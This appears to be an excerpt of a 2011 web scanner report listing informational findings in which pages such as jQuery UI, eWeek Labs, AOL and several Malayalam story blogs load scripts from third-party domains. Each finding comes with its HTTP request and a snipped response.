...[SNIP]...
<link rel="stylesheet" href="http://static.jquery.com/ui/css/base2.css" type="text/css" media="all" />
           <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

21.54. http://jqueryui.com/themeroller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.8/jquery-ui.min.js
http://static.jquery.com/ui/themeroller/scripts/app.js

Request

GET /themeroller/ HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 117007

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller" type="text/css" media="all" />
           <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js" type="text/javascript"></script>
           <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.8/jquery-ui.min.js" type="text/javascript"></script>
           <script src="http://static.jquery.com/ui/themeroller/scripts/app.js" type="text/javascript"></script>
...[SNIP]...

21.55. http://kambimagazine.blogspot.com/2007/08/malayalam-kambikathakal-kambi-kathakal.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://kambimagazine.blogspot.com
Path:	/2007/08/malayalam-kambikathakal-kambi-kathakal.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET /2007/08/malayalam-kambikathakal-kambi-kathakal.html HTTP/1.1
Host: kambimagazine.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.56. http://labs.eweek.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://labs.eweek.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=1;pos=top;dcopt=ist;sz=728x90;ord=704273?
http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=2;pos=top;dcopt=ist;sz=336x280;ord=859483?
http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://w.sharethis.com/button/sharethis.js

Request

GET / HTTP/1.1
Host: labs.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:23 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: session=s; path=/
X-Pingback: http://labs.eweek.com/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26504

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel='stylesheet' id='sociable-front-css-css' href='http://labs.eweek.com/wp-content/plugins/sociable/sociable.css?ver=3.0.4' type='text/css' m
...[SNIP]...
<link rel="stylesheet" href="http://labs-static.eweek.com/css/modules.css" type="text/css"/>
-->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f061d22e-b55f-4edb-b268-577ec6a5271a&type=website&post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine&onmouseover=false"></script>
...[SNIP]...
<img class="ad-tag" src="http://labs-static.eweek.com/images/advertisement.gif" />
<script type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=1;pos=top;dcopt=ist;sz=728x90;ord=704273?"></script>
...[SNIP]...
<li>
<script type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=2;pos=top;dcopt=ist;sz=336x280;ord=859483?"></script>
...[SNIP]...

21.57. http://labs.eweek.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://labs.eweek.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=1;pos=top;dcopt=ist;sz=728x90;ord=127694?
http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=2;pos=top;dcopt=ist;sz=336x280;ord=424138?
http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://w.sharethis.com/button/sharethis.js

Request

GET / HTTP/1.1
Host: labs.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:30:07 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: session=s; path=/
X-Pingback: http://labs.eweek.com/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26505

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel='stylesheet' id='sociable-front-css-css' href='http://labs.eweek.com/wp-content/plugins/sociable/sociable.css?ver=3.0.4' type='text/css' m
...[SNIP]...
<link rel="stylesheet" href="http://labs-static.eweek.com/css/modules.css" type="text/css"/>
-->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=f061d22e-b55f-4edb-b268-577ec6a5271a&type=website&post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine&onmouseover=false"></script>
...[SNIP]...
<img class="ad-tag" src="http://labs-static.eweek.com/images/advertisement.gif" />
<script type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=1;pos=top;dcopt=ist;sz=728x90;ord=127694?"></script>
...[SNIP]...
<li>
<script type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/entzd.eweek/labs;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdtopic=;zdid=h;zdtype=;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=|zdid=|zdtype=|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;tile=2;pos=top;dcopt=ist;sz=336x280;ord=424138?"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://latino.aol.com
Path:	*/$\|.ivillage.com./1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video**

Issue detail

The response dynamically includes the following scripts from other domains:

http://o.aolcdn.com/omniunih.js
http://portal.aolcdn.com/p/v32/63-main.js

Request

GET /$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: latino.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:22 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-cache, no-store, private, max-age=0
Expires: 0
R-Host: portal-tc-lma15.websys.aol.com
x-ua-compatible: IE=EmulateIE7
Content-Type: text/html;;charset=utf-8
Keep-Alive: timeout=5, max=31
Connection: Keep-Alive
Content-Length: 15581

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="IE7"
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://portal.aolcdn.com/skn/classic_v1/4-err.css" />
<script type="text/javascript" src="http://portal.aolcdn.com/p/v32/63-main.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://o.aolcdn.com/omniunih.js"></script>
...[SNIP]...

21.59. http://mad4milk.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mad4milk.net
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/ga.js

Request

GET / HTTP/1.1
Host: mad4milk.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:24 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/5.2.14
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%229aa9caca178f871b7614d81a9de0e019%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1297008265%3Bs%3A10%3A%22last_visit%22%3Bi%3A0%3B%7D; expires=Sun, 06-Feb-2011 18:04:25 GMT; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<link rel="stylesheet" type="text/css" media="screen" href="/assets/styles/style.css" />

   <script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script>
...[SNIP]...

21.60. http://malayalamkambikathakaldownload.blogspot.com/2010/05/kochupusthakam-kambikathakal-download.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://malayalamkambikathakaldownload.blogspot.com
Path:	/2010/05/kochupusthakam-kambikathakal-download.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adhitzads.com/113473
http://adhitzads.com/119627
http://adhitzads.com/122711
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=8&sid=232963&float=1
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=9&sid=252765&float=1
http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831223
http://retrackmedia.com/show-ads.js
http://sa.entireweb.com/sense.js
http://www.adotic.com/show.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET /2010/05/kochupusthakam-kambikathakal-download.html HTTP/1.1
Host: malayalamkambikathakaldownload.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:25 GMT
Date: Sat, 05 Feb 2011 21:51:25 GMT
Cache-Control: public, max-age=0, must-revalidate, proxy-revalidate
Last-Modified: Sat, 05 Feb 2011 09:59:46 GMT
ETag: "f4656661-665f-48a4-ad25-d2c831750e7d"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/g
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...

<script language="JavaScript1.1" src="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831223" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/113473"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=8&sid=232963&float=1"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/119627"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/122711"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=9&sid=252765&float=1"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.adotic.com/show.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://retrackmedia.com/show-ads.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.61. http://malayalamkambikathakaldownload.blogspot.com/2010/05/malayalam-kochupusthakam-kambikathakal.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://malayalamkambikathakaldownload.blogspot.com
Path:	/2010/05/malayalam-kochupusthakam-kambikathakal.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adhitzads.com/113473
http://adhitzads.com/119627
http://adhitzads.com/122711
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=8&sid=232963&float=1
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=9&sid=252765&float=1
http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831223
http://retrackmedia.com/show-ads.js
http://sa.entireweb.com/sense.js
http://www.adotic.com/show.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET /2010/05/malayalam-kochupusthakam-kambikathakal.html HTTP/1.1
Host: malayalamkambikathakaldownload.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:25 GMT
Date: Sat, 05 Feb 2011 21:51:25 GMT
Cache-Control: public, max-age=0, proxy-revalidate, must-revalidate
Last-Modified: Sat, 05 Feb 2011 09:59:46 GMT
ETag: "f4656661-665f-48a4-ad25-d2c831750e7d"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/g
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...

<script language="JavaScript1.1" src="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831223" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/113473"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=8&sid=232963&float=1"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/119627"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/122711"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=9&sid=252765&float=1"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.adotic.com/show.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://retrackmedia.com/show-ads.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.62. http://mallustories1.blogspot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mallustories1.blogspot.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://adhitzads.com/113758
http://adindigo.com/show-inline-ad.js
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=7&sid=234166&float=1
http://ads.inextmedia.com/showads.php
http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831696
http://g2.gumgum.com/javascripts/ggv2.js
http://resources.infolinks.com/js/infolinks_main.js
http://sa.entireweb.com/sense.js
http://syndication.exoclick.com/splash.php?cat=139&idsite=53917&idzone=71869&login=Rajeesh&type=4
http://www.admaya.in/show-ads.js
http://www.adotic.com/show.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET / HTTP/1.1
Host: mallustories1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:25 GMT
Date: Sat, 05 Feb 2011 21:51:25 GMT
Last-Modified: Tue, 01 Feb 2011 11:18:22 GMT
ETag: "b0973167-f72d-424b-9996-51e22c3657c6"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=0, proxy-revalidate, must-revalidate
Age: 0
Connection: close

<!DOCTYPE html>
<html b:version='2' class='v2' dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='ht
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://www.admaya.in/show-ads.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/113758"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://www.admaya.in/show-ads.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://g2.gumgum.com/javascripts/ggv2.js" async="async"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=7&sid=234166&float=1"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://ads.inextmedia.com/showads.php"></script>
...[SNIP]...

<script language="JavaScript1.1" src="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831696" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.adotic.com/show.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://g2.gumgum.com/javascripts/ggv2.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://syndication.exoclick.com/splash.php?cat=139&idsite=53917&idzone=71869&login=Rajeesh&type=4"></script>
...[SNIP]...
<div class='widget-content'>
<script language="javascript" type="text/javascript" src="http://adindigo.com/show-inline-ad.js"></script>
...[SNIP]...
</script>
<script src='http://g2.gumgum.com/javascripts/ggv2.js' type='text/javascript'></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.63. http://mallustories1.blogspot.com/2008/11/malayalam-hot-stories.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mallustories1.blogspot.com
Path:	/2008/11/malayalam-hot-stories.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adhitzads.com/113758
http://adindigo.com/show-inline-ad.js
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=7&sid=234166&float=1
http://ads.inextmedia.com/showads.php
http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831696
http://g2.gumgum.com/javascripts/ggv2.js
http://resources.infolinks.com/js/infolinks_main.js
http://sa.entireweb.com/sense.js
http://syndication.exoclick.com/splash.php?cat=139&idsite=53917&idzone=71869&login=Rajeesh&type=4
http://www.admaya.in/show-ads.js
http://www.adotic.com/show.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET /2008/11/malayalam-hot-stories.html HTTP/1.1
Host: mallustories1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:28 GMT
Date: Sat, 05 Feb 2011 21:51:28 GMT
Cache-Control: public, max-age=0, must-revalidate, proxy-revalidate
Last-Modified: Tue, 01 Feb 2011 11:18:22 GMT
ETag: "b0973167-f72d-424b-9996-51e22c3657c6"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html>
<html b:version='2' class='v2' dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='ht
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://www.admaya.in/show-ads.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/113758"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://www.admaya.in/show-ads.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://g2.gumgum.com/javascripts/ggv2.js" async="async"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=7&sid=234166&float=1"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://ads.inextmedia.com/showads.php"></script>
...[SNIP]...

<script language="JavaScript1.1" src="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831696" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.adotic.com/show.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://g2.gumgum.com/javascripts/ggv2.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://syndication.exoclick.com/splash.php?cat=139&idsite=53917&idzone=71869&login=Rajeesh&type=4"></script>
...[SNIP]...
<div class='widget-content'>
<script language="javascript" type="text/javascript" src="http://adindigo.com/show-inline-ad.js"></script>
...[SNIP]...
</script>
<script src='http://g2.gumgum.com/javascripts/ggv2.js' type='text/javascript'></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.64. http://mallustories1.blogspot.com/2009/02/adhyanubavam.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mallustories1.blogspot.com
Path:	/2009/02/adhyanubavam.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adhitzads.com/113758
http://adindigo.com/show-inline-ad.js
http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=7&sid=234166&float=1
http://ads.inextmedia.com/showads.php
http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831696
http://g2.gumgum.com/javascripts/ggv2.js
http://resources.infolinks.com/js/infolinks_main.js
http://sa.entireweb.com/sense.js
http://syndication.exoclick.com/splash.php?cat=139&idsite=53917&idzone=71869&login=Rajeesh&type=4
http://www.admaya.in/show-ads.js
http://www.adotic.com/show.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET /2009/02/adhyanubavam.html HTTP/1.1
Host: mallustories1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:27 GMT
Date: Sat, 05 Feb 2011 21:51:27 GMT
Cache-Control: public, max-age=0, proxy-revalidate, must-revalidate
Last-Modified: Tue, 01 Feb 2011 11:18:22 GMT
ETag: "b0973167-f72d-424b-9996-51e22c3657c6"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html>
<html b:version='2' class='v2' dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='ht
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://www.admaya.in/show-ads.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://adhitzads.com/113758"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://sa.entireweb.com/sense.js"></script>
...[SNIP]...
</span>
<script language="javascript" type="text/javascript" src="http://www.admaya.in/show-ads.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://g2.gumgum.com/javascripts/ggv2.js" async="async"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ads.clicksor.com/showAd.php?nid=1&pid=151915&adtype=7&sid=234166&float=1"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://ads.inextmedia.com/showads.php"></script>
...[SNIP]...

<script language="JavaScript1.1" src="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=133353%26bid=831696" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.adotic.com/show.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://g2.gumgum.com/javascripts/ggv2.js"></script>
...[SNIP]...
<div class='widget-content'>
<script type="text/javascript" src="http://syndication.exoclick.com/splash.php?cat=139&idsite=53917&idzone=71869&login=Rajeesh&type=4"></script>
...[SNIP]...
<div class='widget-content'>
<script language="javascript" type="text/javascript" src="http://adindigo.com/show-inline-ad.js"></script>
...[SNIP]...
</script>
